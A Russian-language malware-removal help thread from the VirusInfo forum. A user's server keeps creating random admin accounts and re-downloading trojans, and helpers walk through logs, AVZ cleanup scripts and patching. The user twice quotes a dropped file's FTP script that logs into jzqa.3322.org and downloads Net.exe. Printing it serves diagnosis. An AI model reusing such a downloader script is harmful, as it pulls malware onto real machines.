периодически создает пользователей с правами админа и тянет из сети троянцев KIS не видит

Добрый День!

с Месяц назад - KIS стал обнаруживать троянцев, и после успешного лечения, троянцы появлялись снова, но уже с новыми названиями / модификациями.
Периодически (не пойму по какому событию) создается пользователь со случайным именем и правами локального Админа! при этом в документ энд сеттинг, иногда создается папка этого пользователя, как будто он уже входил на сервер по терминальной сессии :(
Пробовал откатится с помощью Acronis на 2 месяца назад с восстановлением свежих профилей пользователей - вирусная активность опять проявилась :(
Пробовал Cureit и Kavtool - периодически ловят вирусы / троянцы, но со временем опять появляются выше описанные симптомы. Вероятно чтото остается в системе :(

Зараннее благодарны за Вас труд и помощь!!
логи прилагаю :
[ATTACH]363487[/ATTACH]
[ATTACH]363486[/ATTACH]

Уважаемый(ая) [B]marcha12[/B], спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в [URL="http://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="http://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].

C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка\killTemp.cmd - Ваше?


- [URL="http://virusinfo.info/showthread.php?t=53070"][B]Сделайте лог полного сканирования MBAM[/B][/URL].

Спасибо, что откликнулись! Да killTemp.cmd мое - темпы чистил у юзеров. я его сегодня удалил...
также удалил явно "левые" файлы, которые рождает вирус, названия на скриншоте , сам архив могу выслать...

[ATTACH=CONFIG]363620[/ATTACH]

лог полного сканирования MBAM. - делаю и выложу

еще раз спасибо!

[ATTACH]363621[/ATTACH]

Файлы такого вида в папке system32 есть? [B]C:\WINDOWS\system32\18.exe[/B]

Повторите лог virusinfo_syscheck.zip


- [URL="http://virusinfo.info/showthread.php?t=7239"]Выполните в AVZ[/URL] скрипт из файла [URL="http://df.ru/~kad/ScanVuln.txt"]ScanVuln.txt[/URL]
- Откройте файл [B]avz_log.txt[/B] из под-папки [B]LOG[/B].
- Пройдитесь по ссылкам из файла [B]avz_log.txt[/B] и установите важные обновления.
- Перезагрузите компьютер.
- Повторите выполнение скрипта, чтобы убедиться, что уязвимости устранены.

Спасибо! да есть 18.exe

пробую отпишусь....

[ATTACH]363732[/ATTACH]

выполнил , пофиксил уязвисостей теперь нет...

что дальше? Система чиста?

Спасибо! но пока система не чиста, т.к. сегодня появился новая учетка с админ правами :(

- [URL="http://virusinfo.info/showthread.php?t=7239"]Выполните в АВЗ:[/URL]
[CODE]begin
QuarantineFile('C:\WINDOWS\system32\18.exe','');
DeleteFile('C:\WINDOWS\system32\18.exe');
ExecuteSysClean;
end.[/CODE]

[COLOR="#FF0000"]Перезагрузите компьютер[/COLOR]

[B]После перезагрузки:[/B]
- Выполните в АВЗ:
[CODE]begin
CreateQurantineArchive(GetAVZDirectory+'quarantine.zip');
end.[/CODE]
Файл [B]quarantine.zip[/B] из папки AVZ загрузите по ссылке "[COLOR="Red"][B]Прислать запрошенный карантин[/B][/COLOR]" вверху темы.

- Повторите все логи.

Выполнил Ваши указания ....
Заметил особенность , что прочие появляющиеся файлы удаляет регулярно KIS, но не все , но они снова появлюятся с уже другими названиями :( и сегодня опять появился пользователь с случайным именем "1991212"...
kis не видит вируса в файле C:\WINDOWS\system32\hex158477567.exe и в файле onfNet.dat из этой же директории с текстом:
open jzqa.3322.org
comex
comex
get Net.exe onNet.exe
bye

[ATTACH]363878[/ATTACH][ATTACH]363879[/ATTACH][ATTACH]363880[/ATTACH]

Файл quarantine.zip - пустой получился...

[size="1"][color="#666686"][B][I]Добавлено через 5 минут[/I][/B][/color][/size]

по пути C:\WINDOWS\system32 появиляется файл onfNet.dat с содержанием:
open jzqa.3322.org
comex
comex
get Net.exe onNet.exe
bye

MBAM еще раз сделайте.

Уязвимости закрыли?

[ATTACH]363900[/ATTACH]

да - скачал, установил заплатки поссылкам, заново запустил скрипт - написало -уязвимостей нет

Что с проблемой?

актуальна :( более того тянет чтото с инета :( malware заблокировал win32.exe

[size="1"][color="#666686"][B][I]Добавлено через 49 секунд[/I][/B][/color][/size]

кис за сегодня прибил 40 троянских программ

[size="1"][color="#666686"][B][I]Добавлено через 3 минуты[/I][/B][/color][/size]

кис за сегодня прибил 40 троянских программ в карантине malware положил файл zysvchost.exe из C:\RECYCLER

[size="1"][color="#666686"][B][I]Добавлено через 58 секунд[/I][/B][/color][/size]

вот сильную заразу подхватил - вывести не можем :(
что посоветуете?

Давайте с LiveCD попробуем [url]http://virusinfo.info/showthread.php?t=15927[/url]

Спасибо!
F-secure - находит чтото но не может удалить :( жаль не вижу что находит... пробуес как Вы советуете LiveCD, это завтра т.к. сегодня с дому удаленно работаю...